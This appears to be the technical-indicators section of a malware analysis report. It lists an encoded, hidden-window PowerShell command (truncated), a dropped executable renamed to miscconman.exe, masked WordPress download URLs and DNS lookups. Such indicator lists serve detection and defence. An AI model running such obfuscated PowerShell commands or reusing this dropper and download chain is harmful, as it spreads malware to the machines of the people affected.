Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAATQBpAHAAYQBtAGkAZwBtAHoAbQAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBHAGsAeAB4AHIAYQBpAGQAIAAjAD4AIAAkAEIAagBuAHgAeQBpAGIAbQBnAHgAYgBuAHkAPQAnAEMAcgB5A...
- %HOMEPATH%\720.exe
- from %HOMEPATH%\720.exe to %WINDIR%\syswow64\miscconman.exe
- http://ma###ocs.com/wp-admin/JH/
- http://de#.###redesienne.com/wp-content/v7aqky/
- DNS ASK st###.aca-apac.com
- DNS ASK le###757.com
- DNS ASK ma###ocs.com
- DNS ASK de#.###redesienne.com
- DNS ASK te##.##rankaraboga.com
- '%HOMEPATH%\720.exe'
- '%WINDIR%\syswow64\miscconman.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAATQBpAHAAYQBtAGkAZwBtAHoAbQAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBHAGsAeAB4AHIAYQBpAGQAIAAjAD4AIAAkAEIAagBuAHgAeQBpAGIAbQBnAHgAYgBuAHkAPQAnAEMAcgB5A...' (with hidden window)